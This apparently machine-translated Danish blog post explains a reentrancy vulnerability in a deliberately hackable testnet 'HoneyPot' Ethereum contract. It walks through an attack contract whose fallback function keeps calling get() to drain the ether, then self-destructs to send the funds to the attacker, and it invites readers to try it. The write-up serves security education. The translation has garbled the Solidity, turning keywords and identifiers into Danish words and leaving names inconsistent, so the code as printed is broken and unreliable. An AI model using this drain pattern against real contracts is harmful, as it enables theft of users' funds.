Reentranseangreb på smarte kontrakter: Hvordan man identificerer det udnyttelige og et eksempel på en angrebskontrakt

At kode smarte kontrakter er bestemt ikke en gratis picnic. En fejl introduceret i koden koster penge og sandsynligvis ikke kun dine penge, men også andre menneskers. Virkeligheden er, at Ethereum-økosystemet stadig er i sin spædbarn, men voksende og standarder defineres og omdefineres af dagen, så man skal altid opdateres og svare til den bedste praksis for smart sikkerhed.

Som studerende på smart kontraktsikkerhed har jeg været på udkig efter sårbarheder i kode. For nylig informerede underviserne på Team B9lab mig om denne kontrakt, der blev indsat til testnet.

pragma-soliditet ^ 0,4,8;
kontrakt HoneyPot {
  kortlægning (adresse => uint) offentlige saldi;
  funktion HoneyPot () betales {
    sætte();
  }
  funktion sat () betales {
    balances [msg.sender] = msg.value;
  }
  funktion get () {
    if (! msg.sender.call.value (balance [msg.sender]) ()) {
      kaste;
    }
      afbalancerer [msg.sender] = 0;
  }
  funktion () {
    kaste;
  }
}

HoneyPot-kontrakten ovenfor indeholdt oprindeligt 5 ether og blev bevidst udtænkt til at blive hacket. I dette blogindlæg vil jeg dele med dig, hvordan jeg angreb denne kontrakt og 'indsamlede' det meste af dens æter.

Den sårbare kontrakt

Formålet med HoneyPot-kontrakten ovenfor er at føre en oversigt over saldi for hver adresse, der sætter () ether i den og tillade disse adresser at få () dem senere.

Lad os se på de mest interessante dele af denne kontrakt:

kortlægning (adresse => uint) offentlige saldi;

Koden ovenfor kortlægger adresser til en værdi og gemmer den i en offentlig variabel kaldet saldi. Det giver mulighed for at kontrollere HoneyPot-saldoen for en adresse.

saldi [0x675dbd6a9c17E15459eD31ADBc8d071A78B0BF60]

Funktionen put () nedenfor er, hvor lagringen af ​​etherværdien sker i kontrakten. Bemærk, at msg.sender her er adressen fra afsenderen af ​​transaktionen.

funktion sat () betales {
    balances [msg.sender] = msg.value;
  }

Denne næste funktion finder vi, hvor den udnyttelige er. Formålet med denne funktion er at lade adresser trække den værdi af ether, de har, i HoneyPot-balancerne.

funktion get () {
    if (! msg.sender.call.value (afbalancerer [msg.sender]) ()) {
      kaste;
    }
      afbalancerer [msg.sender] = 0;
  }

Hvor er den udnyttelige, og hvordan kan nogen angribe dette, du spørger? Kontroller igen disse kodelinjer:

if (! msg.sender.call.value (afbalancerer [msg.sender]) ()) {
      kaste;
}
afbalancerer [msg.sender] = 0;

HoneyPot-kontrakt indstiller værdien af ​​adressebalancen til kun nul efter at have kontrolleret, om afsendelse af ether til msg.sender gennemgår.

Hvad nu hvis der er et AttackContract, der får HoneyPot til at tro, at det stadig har ether at trække sig tilbage, før AttackContract-saldoen er indstillet til nul. Dette kan gøres på en rekursiv måde, og navnet på dette kaldes reentrancy angreb.

Lad os oprette en.

Her er den fulde kontraktkode. Jeg vil forsøge mit bedste for at forklare dens dele.

pragma-soliditet ^ 0,4,8;
import "./HoneyPot.sol";
kontrakt HoneyPotCollect {
  HoneyPot offentlig honeypot;
  funktion HoneyPotCollect (adresse _honeypot) {
    honeypot = HoneyPot (_honeypot);
  }
  funktion dræbe () {
    selvmord (msg.sender);
  }
  funktion samle () betales {
    honeypot.put.value (msg.value) ();
    honeypot.get ();
  }
  funktion () betales {
    if (honeypot.balance> = msg.value) {
      honeypot.get ();
    }
  }
}

De første par linjer er grundlæggende tildeling af soliditetskompilatoren, der skal bruges sammen med kontrakten. Så importerer vi HoneyPot-kontrakten, som jeg lægger i en separat fil. Bemærk, at der henvises til HoneyPot i hele HoneyPotCollect-kontrakten. Og vi oprettede kontraktbasen, som vi kalder det HoneyPotCollect.

pragma-soliditet ^ 0,4,8;
import "./HoneyPot.sol";
kontrakt HoneyPotCollect {
  HoneyPot offentlig honeypot;
...
}

Derefter definerer vi konstruktorfunktionen. Dette er den funktion, der kaldes, når HoneyPotCollect oprettes. Bemærk, at vi videresender en adresse til denne funktion. Denne adresse vil være HoneyPot-kontraktens adresse.

funktion HoneyPotCollect (adresse _honeypot) {
    honeypot = HoneyPot (_honeypot);
}

Den næste funktion er en kill-funktion. Jeg vil trække ether tilbage fra HoneyPot-kontrakten til HoneyPotCollect-kontrakten. Jeg vil dog også få den indsamlede æter til en adresse, jeg ejer. Så jeg tilføjer en mekanisme til at ødelægge HoneyPotCollect og sende al ether indeholdende i den til den adresse, der kalder kill-funktionen.

funktion dræbe () {
  selvmord (msg.sender);
}

Den følgende funktion er den, der sætter reentranseanfaldet i bevægelse. Den sætter noget ether i HoneyPot og lige efter at den har fået den.

funktion samle () betales {
    honeypot.put.value (msg.value) ();
    honeypot.get ();
  }

Betalingstiden her fortæller Ethereum Virtual Machine, at den tillader at modtage ether. Påkald denne funktion med også noget ether.

Den sidste funktion er, hvad der er kendt som fallback-funktionen. Denne unavngivne funktion kaldes, når HoneyPotCollect-kontrakten modtager ether.

funktion () betales {
    if (honeypot.balance> = msg.value) {
      honeypot.get ();
    }
  }

Det er her reentranseanfaldet forekommer. Lad os se hvordan.

Angrebet

Efter at have installeret HoneyPotCollect, skal du ringe til indsamling () og sende noget eter med det.

HoneyPot get () -funktionen sender ether til den adresse, der kaldte den kun, hvis denne kontrakt har en ether som balance. Når HoneyPot sender ether til HoneyPotCollect, udløses fallback-funktionen. Hvis HoneyPot-saldoen er mere end den værdi, den blev sendt til, får fallback-funktionen opkald funktionen () igen, og cyklussen gentages.

Husk at inden funktionen get () kommer koden, der sætter saldoen til nul, først efter afsendelse af transaktionen. Dette narrer HoneyPot-kontrakten til at sende penge til HoneyPotCollect-adressen igen og igen og igen, indtil HoneyPot er udtømt for næsten al dens æter.

Prøv det selv. Jeg efterlod 1 testether i denne kontrakt, så andre kunne prøve det selv. Hvis du ikke ser nogen æter tilbage der, er det fordi nogen allerede angreb den før dig.

Jeg oprindeligt opretter denne kode til HoneyPotAttackusing Truffle-rammen. Her er koden, hvis du har brug for den som reference. God fornøjelse!